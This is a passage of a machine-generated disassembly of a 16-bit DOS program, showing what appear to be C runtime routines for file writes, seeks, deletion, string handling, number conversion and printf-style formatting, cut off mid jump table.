LOC_82:
               MOV     AX,0FFFFH
               JMP     SHORT LOC_85            ; (08A0)
LOC_83:
               MOV     AX,[BP+6]
               MOV     [SI+0AH],AX
               MOV     [SI+8],AX
               MOV     [SI+6],DI
               CMP     WORD PTR [BP+8],1
               JNE     LOC_84                  ; Jump if not equal
               OR      WORD PTR [SI+2],8
               nop                             ;*Fixup for MASM (M)
LOC_84:
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_85            ; (08A0)
LOC_85:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_26          ENDP

               DB      56H, 57H, 0BFH, 4, 0, 0BEH
               DB      3EH, 2, 0EBH, 10H
LOC_86:
               TEST    WORD PTR [SI+2],3
               JZ      LOC_87                  ; Jump if zero
               PUSH    SI
               CALL    SUB_34                  ; (0BEE)
               POP     CX
LOC_87:
               DEC     DI
               ADD     SI,10H
               OR      DI,DI                   ; Zero ?
               JNZ     LOC_86                  ; Jump if not zero
               POP     DI
               POP     SI
               RETN

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_27          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,8AH
               PUSH    SI
               PUSH    DI
               MOV     AX,[BP+8]
               INC     AX
               CMP     AX,2
               JAE     LOC_88                  ; Jump if above or =
               XOR     AX,AX                   ; Zero register
               JMP     LOC_100                 ; (09D2)
LOC_88:
               MOV     BX,[BP+4]
               SHL     BX,1                    ; Shift w/zeros fill
               TEST    WORD PTR DS:DATA_32E[BX],8000H  ; (7FC4:037E=50FFH)
               JZ      LOC_89                  ; Jump if zero
               PUSH    WORD PTR [BP+8]
               PUSH    WORD PTR [BP+6]
               PUSH    WORD PTR [BP+4]
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               JMP     LOC_100                 ; (09D2)
LOC_89:
               MOV     BX,[BP+4]
               SHL     BX,1                    ; Shift w/zeros fill
               AND     WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
               MOV     AX,[BP+6]
               MOV     SS:DATA_136E[BP],AX     ; (817F:FF7C=0)
               MOV     AX,[BP+8]
               MOV     SS:DATA_134E[BP],AX     ; (817F:FF78=0)
               LEA     SI,[BP-82H]             ; Load effective addr
               JMP     SHORT LOC_95            ; (0987)
LOC_90:
               DEC     WORD PTR SS:DATA_134E[BP]       ; (817F:FF78=0)
               MOV     BX,SS:DATA_136E[BP]     ; (817F:FF7C=0)
               INC     WORD PTR SS:DATA_136E[BP]       ; (817F:FF7C=0)
               MOV     AL,[BX]
               MOV     SS:DATA_135E[BP],AL     ; (817F:FF7B=0)
               CMP     AL,0AH
               JNE     LOC_91                  ; Jump if not equal
               MOV     BYTE PTR [SI],0DH
               INC     SI
LOC_91:
               MOV     AL,SS:DATA_135E[BP]     ; (817F:FF7B=0)
               MOV     [SI],AL
               INC     SI
               LEA     AX,[BP-82H]             ; Load effective addr
               MOV     DX,SI
               SUB     DX,AX
               CMP     DX,80H
               JL      LOC_95                  ; Jump if <
               LEA     AX,[BP-82H]             ; Load effective addr
               MOV     DI,SI
               SUB     DI,AX
               PUSH    DI
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               PUSH    WORD PTR [BP+4]
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               MOV     SS:DATA_133E[BP],AX     ; (817F:FF76=0)
               CMP     AX,DI
               JE      LOC_94                  ; Jump if equal
               CMP     WORD PTR SS:DATA_133E[BP],0     ; (817F:FF76=0)
               JAE     LOC_92                  ; Jump if above or =
               MOV     AX,0FFFFH
               JMP     SHORT LOC_93            ; (0981)
LOC_92:
               MOV     AX,[BP+8]
               SUB     AX,SS:DATA_134E[BP]     ; (817F:FF78=0)
               ADD     AX,SS:DATA_133E[BP]     ; (817F:FF76=0)
               SUB     AX,DI
LOC_93:
               JMP     SHORT LOC_100           ; (09D2)
LOC_94:
               LEA     SI,[BP-82H]             ; Load effective addr
LOC_95:
               CMP     WORD PTR SS:DATA_134E[BP],0     ; (817F:FF78=0)
               JE      LOC_96                  ; Jump if equal
               JMP     LOC_90                  ; (091A)
               nop                             ;*Fixup for MASM (V)
LOC_96:
               LEA     AX,[BP-82H]             ; Load effective addr
               MOV     DI,SI
               SUB     DI,AX
               MOV     AX,DI
               OR      AX,AX                   ; Zero ?
               JBE     LOC_99                  ; Jump if below or =
               PUSH    DI
               LEA     AX,[BP-82H]             ; Load effective addr
               PUSH    AX
               PUSH    WORD PTR [BP+4]
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               MOV     SS:DATA_133E[BP],AX     ; (817F:FF76=0)
               CMP     AX,DI
               JE      LOC_99                  ; Jump if equal
               CMP     WORD PTR SS:DATA_133E[BP],0     ; (817F:FF76=0)
               JAE     LOC_97                  ; Jump if above or =
               MOV     AX,0FFFFH
               JMP     SHORT LOC_98            ; (09CB)
LOC_97:
               MOV     AX,[BP+8]
               ADD     AX,SS:DATA_133E[BP]     ; (817F:FF76=0)
               SUB     AX,DI
LOC_98:
               JMP     SHORT LOC_100           ; (09D2)
LOC_99:
               MOV     AX,[BP+8]
               JMP     SHORT LOC_100           ; (09D2)
LOC_100:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_27          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_28          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     BX,[BP+4]
               SHL     BX,1                    ; Shift w/zeros fill
               TEST    WORD PTR DS:DATA_32E[BX],800H   ; (7FC4:037E=50FFH)
               JZ      LOC_101                 ; Jump if zero
               MOV     AX,2
               PUSH    AX
               XOR     AX,AX                   ; Zero register
               PUSH    AX
               PUSH    AX
               PUSH    WORD PTR [BP+4]
               CALL    SUB_29                  ; (0A1E)
               MOV     SP,BP
LOC_101:
               MOV     AH,40H                  ; '@'
               MOV     BX,[BP+4]
               MOV     CX,[BP+8]
               MOV     DX,[BP+6]
               INT     21H                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               JC      LOC_102                 ; Jump if carry Set
               PUSH    AX
               MOV     BX,[BP+4]
               SHL     BX,1                    ; Shift w/zeros fill
               OR      WORD PTR DS:DATA_32E[BX],1000H  ; (7FC4:037E=50FFH)
               POP     AX
               JMP     SHORT LOC_103           ; (0A1C)
LOC_102:
               PUSH    AX
               CALL    SUB_10                  ; (031F)
               JMP     SHORT LOC_103           ; (0A1C)
LOC_103:
               POP     BP
               RETN
SUB_28          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_29          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     BX,[BP+4]
               SHL     BX,1                    ; Shift w/zeros fill
               AND     WORD PTR DS:DATA_32E[BX],0FDFFH ; (7FC4:037E=50FFH)
               MOV     AH,42H                  ; 'B'
               MOV     AL,[BP+0AH]
               MOV     BX,[BP+4]
               MOV     CX,[BP+8]
               MOV     DX,[BP+6]
               INT     21H                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               JC      LOC_104                 ; Jump if carry Set
               JMP     SHORT LOC_105           ; (0A47)
LOC_104:
               PUSH    AX
               CALL    SUB_10                  ; (031F)
               CWD                             ; Word to double word
               JMP     SHORT LOC_105           ; (0A47)
LOC_105:
               POP     BP
               RETN
SUB_29          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_30          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,22H
               PUSH    SI
               PUSH    DI
               PUSH    ES
               MOV     DI,[BP+0AH]
               PUSH    DS
               POP     ES
               MOV     BX,[BP+8]
               CMP     BX,24H
               JA      LOC_113                 ; Jump if above
               CMP     BL,2
               JB      LOC_113                 ; Jump if below
               MOV     AX,[BP+0CH]
               MOV     CX,[BP+0EH]
               OR      CX,CX                   ; Zero ?
               JGE     LOC_106                 ; Jump if > or =
               CMP     BYTE PTR [BP+6],0
               JE      LOC_106                 ; Jump if equal
               MOV     BYTE PTR [DI],2DH       ; '-'
               INC     DI
               NEG     CX
               NEG     AX
               SBB     CX,0
LOC_106:
               LEA     SI,[BP-22H]             ; Load effective addr
               JCXZ    LOC_108                 ; Jump if cx=0
LOC_107:
               XCHG    AX,CX
               SUB     DX,DX
               DIV     BX                      ; ax,dx rem=dx:ax/reg
               XCHG    AX,CX
               DIV     BX                      ; ax,dx rem=dx:ax/reg
               MOV     [SI],DL
               INC     SI
               JCXZ    LOC_109                 ; Jump if cx=0
               JMP     SHORT LOC_107           ; (0A84)
LOC_108:
               SUB     DX,DX
               DIV     BX                      ; ax,dx rem=dx:ax/reg
               MOV     [SI],DL
               INC     SI
LOC_109:
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_108                 ; Jump if not zero
               LEA     CX,[BP-22H]             ; Load effective addr
               NEG     CX
               ADD     CX,SI
               CLD                             ; Clear direction

LOCLOOP_110:
               DEC     SI
               MOV     AL,[SI]
               SUB     AL,0AH
               JNC     LOC_111                 ; Jump if carry=0
               ADD     AL,3AH                  ; ':'
               JMP     SHORT LOC_112           ; (0AB4)
LOC_111:
               ADD     AL,[BP+4]
LOC_112:
               STOSB                           ; Store al to es:[di]
               LOOP    LOCLOOP_110             ; Loop if cx > 0

LOC_113:
               MOV     AL,0
               STOSB                           ; Store al to es:[di]
               POP     ES
               MOV     AX,[BP+0AH]
               JMP     SHORT LOC_114           ; (0AC0)
LOC_114:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN    0CH
SUB_30          ENDP

               DB      55H, 8BH, 0ECH, 83H, 7EH, 8
               DB      0AH, 75H, 6, 8BH, 46H, 4
               DB      99H, 0EBH, 5, 8BH, 46H, 4
               DB      33H, 0D2H, 52H, 50H, 0FFH, 76H
               DB      6, 0FFH, 76H, 8, 0B0H, 1
               DB      50H, 0B0H, 61H, 50H, 0E8H, 5CH
               DB      0FFH, 0EBH, 0
LOC_115:
               POP     BP
               RETN
               DB      55H, 8BH, 0ECH, 0FFH, 76H, 6
               DB      0FFH, 76H, 4, 0FFH, 76H, 8
               DB      0FFH, 76H, 0AH, 0B0H, 0, 50H
               DB      0B0H, 61H, 50H, 0E8H, 40H, 0FFH
               DB      0EBH, 0, 5DH, 0C3H, 55H, 8BH
               DB      0ECH, 0FFH, 76H, 6, 0FFH, 76H
               DB      4, 0FFH, 76H, 8, 0FFH, 76H
               DB      0AH, 83H, 7EH, 0AH, 0AH, 75H
               DB      5, 0B8H, 1, 0, 0EBH, 2
               DB      33H, 0C0H, 50H, 0B0H, 61H, 50H
               DB      0E8H, 19H, 0FFH, 0EBH, 0
LOC_116:
               POP     BP
               RETN

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_31          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AH,41H                  ; 'A'
               MOV     DX,[BP+4]
               INT     21H                     ; DOS Services  ah=function 41h
                                               ;  delete file, name @ ds:dx
               JC      LOC_117                 ; Jump if carry Set
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_118           ; (0B4A)
LOC_117:
               PUSH    AX
               CALL    SUB_10                  ; (031F)
               JMP     SHORT LOC_118           ; (0B4A)
LOC_118:
               POP     BP
               RETN
SUB_31          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_32          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               CLD                             ; Clear direction
               MOV     DI,[BP+4]
               PUSH    DS
               POP     ES
               MOV     DX,DI
               XOR     AL,AL                   ; Zero register
               MOV     CX,0FFFFH
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               LEA     SI,[DI-1]               ; Load effective addr
               MOV     DI,[BP+6]
               MOV     CX,0FFFFH
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               NOT     CX
               SUB     DI,CX
               XCHG    SI,DI
               TEST    SI,1
               JZ      LOC_119                 ; Jump if zero
               MOVSB                           ; Mov [si] to es:[di]
               DEC     CX
LOC_119:
               SHR     CX,1                    ; Shift w/zeros fill
               REP     MOVSW                   ; Rep while cx>0 Mov [si] to es:[di]
               JNC     LOC_120                 ; Jump if carry=0
               MOVSB                           ; Mov [si] to es:[di]
LOC_120:
               MOV     AX,DX
               JMP     SHORT LOC_121           ; (0B84)
LOC_121:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_32          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_33          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               PUSH    DS
               POP     ES
               CLD                             ; Clear direction
               MOV     DI,[BP+6]
               MOV     SI,DI
               XOR     AL,AL                   ; Zero register
               MOV     CX,0FFFFH
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               NOT     CX
               MOV     DI,[BP+4]
               REP     MOVSB                   ; Rep while cx>0 Mov [si] to es:[di]
               MOV     AX,[BP+4]
               JMP     SHORT LOC_122           ; (0BA8)
LOC_122:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_33          ENDP

               DB      55H, 8BH, 0ECH, 56H, 57H, 1EH
               DB      7, 8BH, 7EH, 4, 8BH, 76H
               DB      6, 8BH, 4EH, 8, 0D1H, 0E9H
               DB      0FCH, 0F3H, 0A5H, 73H, 1, 0A4H
LOC_123:
               MOV     AX,[BP+4]
               JMP     SHORT LOC_124           ; (0BC9)
LOC_124:
               POP     DI
               POP     SI
               POP     BP
               RETN
               DB      0BAH, 0AAH, 3, 0EBH, 3, 0BAH
               DB      0AFH, 3, 0B9H, 5, 0, 90H
               DB      0B4H, 40H, 0BBH, 2, 0, 0CDH
               DB      21H, 0B9H, 27H, 0, 90H, 0BAH
               DB      0B4H, 3, 0B4H, 40H, 0CDH, 21H
               DB      0E9H, 0F4H, 0F5H

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_34          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     SI,[BP+4]
               MOV     AX,[SI+0EH]
               CMP     AX,SI
               JE      LOC_125                 ; Jump if equal
               MOV     AX,0FFFFH
               JMP     SHORT LOC_130           ; (0C68)
LOC_125:
               CMP     WORD PTR [SI],0
               JL      LOC_128                 ; Jump if <
               TEST    WORD PTR [SI+2],8
               JNZ     LOC_126                 ; Jump if not zero
               MOV     AX,[SI+0AH]
               MOV     DX,SI
               ADD     DX,5
               CMP     AX,DX
               JNE     LOC_127                 ; Jump if not equal
LOC_126:
               MOV     WORD PTR [SI],0
               MOV     AX,[SI+0AH]
               MOV     DX,SI
               ADD     DX,5
               CMP     AX,DX
               JNE     LOC_127                 ; Jump if not equal
               MOV     AX,[SI+8]
               MOV     [SI+0AH],AX
LOC_127:
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_130           ; (0C68)
LOC_128:
               MOV     DI,[SI+6]
               ADD     DI,[SI]
               INC     DI
               SUB     [SI],DI
               PUSH    DI
               MOV     AX,[SI+8]
               MOV     [SI+0AH],AX
               PUSH    AX
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_27                  ; (08C5)
               ADD     SP,6
               CMP     AX,DI
               JE      LOC_129                 ; Jump if equal
               TEST    WORD PTR [SI+2],200H
               JNZ     LOC_129                 ; Jump if not zero
               OR      WORD PTR [SI+2],10H
               nop                             ;*Fixup for MASM (M)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_130           ; (0C68)
LOC_129:
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_130           ; (0C68)
LOC_130:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_34          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_35          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     BX,[BP+6]
               DEC     WORD PTR [BX]
               PUSH    WORD PTR [BP+6]
               MOV     AL,[BP+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_36                  ; (0C85)
               MOV     SP,BP
               JMP     SHORT LOC_131           ; (0C83)
LOC_131:
               POP     BP
               RETN
SUB_35          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_36          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,2
               PUSH    SI
               MOV     SI,[BP+6]
               MOV     AL,[BP+4]
               MOV     [BP-1],AL
LOC_132:
               INC     WORD PTR [SI]
               JGE     LOC_135                 ; Jump if > or =
               MOV     AL,[BP-1]
               INC     WORD PTR [SI+0AH]
               MOV     BX,[SI+0AH]
               MOV     [BX-1],AL
               TEST    WORD PTR [SI+2],8
               JZ      LOC_134                 ; Jump if zero
               CMP     BYTE PTR [BP-1],0AH
               JE      LOC_133                 ; Jump if equal
               CMP     BYTE PTR [BP-1],0DH
               JNE     LOC_134                 ; Jump if not equal
LOC_133:
               PUSH    SI
               CALL    SUB_34                  ; (0BEE)
               POP     CX
               OR      AX,AX                   ; Zero ?
               JZ      LOC_134                 ; Jump if zero
               MOV     AX,0FFFFH
               JMP     LOC_149                 ; (0DB0)
LOC_134:
               MOV     AL,[BP-1]
               MOV     AH,0
               JMP     LOC_149                 ; (0DB0)
LOC_135:
               DEC     WORD PTR [SI]
               TEST    WORD PTR [SI+2],90H
               JNZ     LOC_136                 ; Jump if not zero
               TEST    WORD PTR [SI+2],2
               JNZ     LOC_137                 ; Jump if not zero
LOC_136:
               OR      WORD PTR [SI+2],10H
               nop                             ;*Fixup for MASM (M)
               MOV     AX,0FFFFH
               JMP     LOC_149                 ; (0DB0)
LOC_137:
               OR      WORD PTR [SI+2],100H
               CMP     WORD PTR [SI+6],0
               JE      LOC_141                 ; Jump if equal
               CMP     WORD PTR [SI],0
               JE      LOC_139                 ; Jump if equal
               PUSH    SI
               CALL    SUB_34                  ; (0BEE)
               POP     CX
               OR      AX,AX                   ; Zero ?
               JZ      LOC_138                 ; Jump if zero
               MOV     AX,0FFFFH
               JMP     LOC_149                 ; (0DB0)
LOC_138:
               JMP     SHORT LOC_140           ; (0D15)
LOC_139:
               MOV     AX,0FFFFH
               MOV     DX,[SI+6]
               SUB     AX,DX
               MOV     [SI],AX
LOC_140:
               JMP     LOC_132                 ; (0C95)
               JMP     LOC_149                 ; (0DB0)
LOC_141:
               CMP     WORD PTR DS:DATA_34E,0  ; (7FC4:03A8=0AE46H)
               JNE     LOC_145                 ; Jump if not equal
               MOV     AX,24EH
               CMP     AX,SI
               JNE     LOC_145                 ; Jump if not equal
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_25                  ; (07BA)
               POP     CX
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_142                 ; Jump if not zero
               AND     WORD PTR [SI+2],0FDFFH
LOC_142:
               MOV     AX,200H
               PUSH    AX
               TEST    WORD PTR [SI+2],200H
               JZ      LOC_143                 ; Jump if zero
               MOV     AX,2
               JMP     SHORT LOC_144           ; (0D4D)
LOC_143:
               XOR     AX,AX                   ; Zero register
LOC_144:
               PUSH    AX
               XOR     AX,AX                   ; Zero register
               PUSH    AX
               PUSH    SI
               CALL    SUB_26                  ; (07D2)
               ADD     SP,8
               JMP     LOC_137                 ; (0CEA)
               nop                             ;*Fixup for MASM (V)
LOC_145:
               CMP     BYTE PTR [BP-1],0AH
               JNE     LOC_146                 ; Jump if not equal
               TEST    WORD PTR [SI+2],40H
               JNZ     LOC_146                 ; Jump if not zero
               MOV     AX,1
               PUSH    AX
               MOV     AX,3DCH
               PUSH    AX
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               CMP     AX,1
               JNE     LOC_147                 ; Jump if not equal
LOC_146:
               MOV     AX,1
               PUSH    AX
               LEA     AX,[BP+4]               ; Load effective addr
               PUSH    AX
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               CMP     AX,1
               JE      LOC_148                 ; Jump if equal
LOC_147:
               TEST    WORD PTR [SI+2],200H
               JNZ     LOC_148                 ; Jump if not zero
               OR      WORD PTR [SI+2],10H
               nop                             ;*Fixup for MASM (M)
               MOV     AX,0FFFFH
               JMP     SHORT LOC_149           ; (0DB0)
LOC_148:
               MOV     AL,[BP-1]
               MOV     AH,0
               JMP     SHORT LOC_149           ; (0DB0)
LOC_149:
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_36          ENDP

               DB      55H, 8BH, 0ECH, 56H, 8BH, 76H
               DB      4, 0B8H, 4EH, 2, 50H, 56H
               DB      0E8H, 0C1H, 0FEH, 59H, 59H, 0EBH
               DB      0, 5EH, 5DH, 0C3H, 55H, 8BH
               DB      0ECH, 83H, 0ECH, 2, 56H, 57H
               DB      8BH, 76H, 4, 8BH, 7EH, 6
               DB      47H, 0F7H, 44H, 2, 8, 0
               DB      74H, 23H, 0EBH, 2
LOC_150:
               JMP     SHORT LOC_151           ; (0DE5)
LOC_151:
               DEC     DI
               MOV     AX,DI
               OR      AX,AX                   ; Zero ?
               JZ      LOC_152                 ; Jump if zero
               PUSH    SI
               MOV     BX,[BP+8]
               INC     WORD PTR [BP+8]
               MOV     AL,[BX]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_36                  ; (0C85)
               POP     CX
               POP     CX
               CMP     AX,0FFFFH
               JNE     LOC_150                 ; Jump if not equal
LOC_152:
               JMP     LOC_159                 ; (0E79)
               DB      0F7H, 44H, 2, 40H, 0, 74H
               DB      37H, 83H, 7CH, 6, 0, 74H
               DB      31H, 8BH, 44H, 6, 3BH, 0C7H
               DB      73H, 2AH, 83H, 3CH, 0, 74H
               DB      0DH, 56H, 0E8H, 0CDH, 0FDH, 59H
               DB      0BH, 0C0H, 74H, 4, 33H, 0C0H
               DB      0EBH
               DB      53H
LOC_153:
               DEC     DI
               PUSH    DI
               PUSH    WORD PTR [BP+8]
               MOV     AL,[SI+4]
               CBW                             ; Convrt byte to word
               PUSH    AX
               CALL    SUB_28                  ; (09D8)
               ADD     SP,6
               MOV     [BP-2],AX
               SUB     DI,[BP-2]
               JMP     SHORT LOC_159           ; (0E79)
LOC_154:
               JMP     SHORT LOC_156           ; (0E46)
LOC_155:
               JMP     SHORT LOC_156           ; (0E46)
LOC_156:
               DEC     DI
               MOV     AX,DI
               OR      AX,AX                   ; Zero ?
               JZ      LOC_159                 ; Jump if zero
               INC     WORD PTR [SI]
               JGE     LOC_157                 ; Jump if > or =
               MOV     BX,[BP+8]
               INC     WORD PTR [BP+8]
               MOV     AL,[BX]
               INC     WORD PTR [SI+0AH]
               MOV     BX,[SI+0AH]
               MOV     [BX-1],AL
               MOV     AH,0
               JMP     SHORT LOC_158           ; (0E74)
LOC_157:
               PUSH    SI
               MOV     BX,[BP+8]
               INC     WORD PTR [BP+8]
               PUSH    WORD PTR [BX]
               CALL    SUB_35                  ; (0C6C)
               POP     CX
               POP     CX
LOC_158:
               CMP     AX,0FFFFH
               JNE     LOC_155                 ; Jump if not equal
LOC_159:
               MOV     AX,DI
               JMP     SHORT LOC_160           ; (0E7D)
LOC_160:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN    6

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_37          PROC    NEAR
               JMP     WORD PTR DS:[45CH]      ; (8134:045C=0BCDH)

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

SUB_38:
               PUSH    BP
               MOV     BP,SP
               MOV     DX,[BP+4]
               MOV     CX,0F04H
               MOV     BX,3E5H
               CLD                             ; Clear direction
               MOV     AL,DH
               SHR     AL,CL                   ; Shift w/zeros fill
               XLAT                            ; al=[al+[bx]] table
               STOSB                           ; Store al to es:[di]
               MOV     AL,DH
               AND     AL,CH
               XLAT                            ; al=[al+[bx]] table
               STOSB                           ; Store al to es:[di]
               MOV     AL,DL
               SHR     AL,CL                   ; Shift w/zeros fill
               XLAT                            ; al=[al+[bx]] table
               STOSB                           ; Store al to es:[di]
               MOV     AL,DL
               AND     AL,CH
               XLAT                            ; al=[al+[bx]] table
               STOSB                           ; Store al to es:[di]
               JMP     SHORT LOC_161           ; (0EB0)
LOC_161:
               POP     BP
               RETN    2
SUB_37          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_39          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,96H
               PUSH    SI
               PUSH    DI
               MOV     WORD PTR [BP-56H],0
               MOV     BYTE PTR [BP-53H],50H   ; 'P'
               JMP     SHORT LOC_163           ; (0F00)

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

SUB_40:
               PUSH    DI
               MOV     CX,0FFFFH
               XOR     AL,AL                   ; Zero register
               REPNE   SCASB                   ; Rept zf=0+cx>0 Scan es:[di] for al
               NOT     CX
               DEC     CX
               POP     DI
               RETN

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

SUB_41:
               MOV     [DI],AL
               INC     DI
               DEC     BYTE PTR [BP-53H]
               JLE     LOC_RET_162             ; Jump if < or =

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

SUB_42:
               PUSH    BX
               PUSH    CX
               PUSH    DX
               PUSH    ES
               LEA     AX,[BP-52H]             ; Load effective addr
               SUB     DI,AX
               LEA     AX,[BP-52H]             ; Load effective addr
               PUSH    AX
               PUSH    DI
               PUSH    WORD PTR [BP+8]
               CALL    WORD PTR [BP+0AH]       ;*(0000)             1 entry
               MOV     BYTE PTR [BP-53H],50H   ; 'P'
               ADD     [BP-56H],DI
               LEA     DI,[BP-52H]             ; Load effective addr
               POP     ES
               POP     DX
               POP     CX
               POP     BX

LOC_RET_162:
               RETN
LOC_163:
               PUSH    ES
               CLD                             ; Clear direction
               LEA     DI,[BP-52H]             ; Load effective addr
               MOV     SS:DATA_127E[BP],DI     ; (817F:FF6C=0)
LOC_164:
               MOV     DI,SS:DATA_127E[BP]     ; (817F:FF6C=0)
LOC_165:
               MOV     SI,[BP+6]
LOC_166:
               LODSB                           ; String [si] to al
               OR      AL,AL                   ; Zero ?
               JZ      LOC_168                 ; Jump if zero
               CMP     AL,25H                  ; '%'
               JE      LOC_169                 ; Jump if equal
LOC_167:
               MOV     [DI],AL
               INC     DI
               DEC     BYTE PTR [BP-53H]
               JG      LOC_166                 ; Jump if >
               CALL    SUB_42                  ; (0EDD)
               JMP     SHORT LOC_166           ; (0F10)
LOC_168:
               JMP     LOC_247                 ; (139E)
LOC_169:
               MOV     SS:DATA_134E[BP],SI     ; (817F:FF78=0)
               LODSB                           ; String [si] to al
               CMP     AL,25H                  ; '%'
               JE      LOC_167                 ; Jump if equal
               MOV     SS:DATA_127E[BP],DI     ; (817F:FF6C=0)
               XOR     CX,CX                   ; Zero register
               MOV     SS:DATA_133E[BP],CX     ; (817F:FF76=0)
               MOV     SS:DATA_126E[BP],CX     ; (817F:FF6A=0)
               MOV     SS:DATA_132E[BP],CL     ; (817F:FF75=0)
               MOV     WORD PTR SS:DATA_130E[BP],0FFFFH        ; (817F:FF70=0)
               MOV     WORD PTR SS:DATA_131E[BP],0FFFFH        ; (817F:FF72=0)
               JMP     SHORT LOC_171           ; (0F53)
LOC_170:
               LODSB                           ; String [si] to al
LOC_171:
               XOR     AH,AH                   ; Zero register
               MOV     DX,AX
               MOV     BX,AX
               SUB     BL,20H                  ; ' '
               CMP     BL,60H                  ; '`'
               JAE     LOC_173                 ; Jump if above or =
               MOV     BL,DATA_111[BX]         ; (8134:03F5=0)
               MOV     AX,BX
               CMP     AX,17H
               JBE     LOC_172                 ; Jump if below or =
               JMP     LOC_245                 ; (138C)
LOC_172:
               MOV     BX,AX
               SHL     BX,1                    ; Shift w/zeros fill
               JMP     WORD PTR CS:DATA_41[BX] ;*(7FD4:0F78=0FC3H)  24 entries
DATA_41         DW      OFFSET LOC_176          ; Data table (indexed access)
DATA_42         DW      OFFSET LOC_174
DATA_43         DW      OFFSET LOC_182
DATA_44         DW      OFFSET LOCLOOP_175
DATA_45         DW      OFFSET LOC_185
DATA_46         DW      OFFSET LOC_186
DATA_47         DW      OFFSET LOC_188
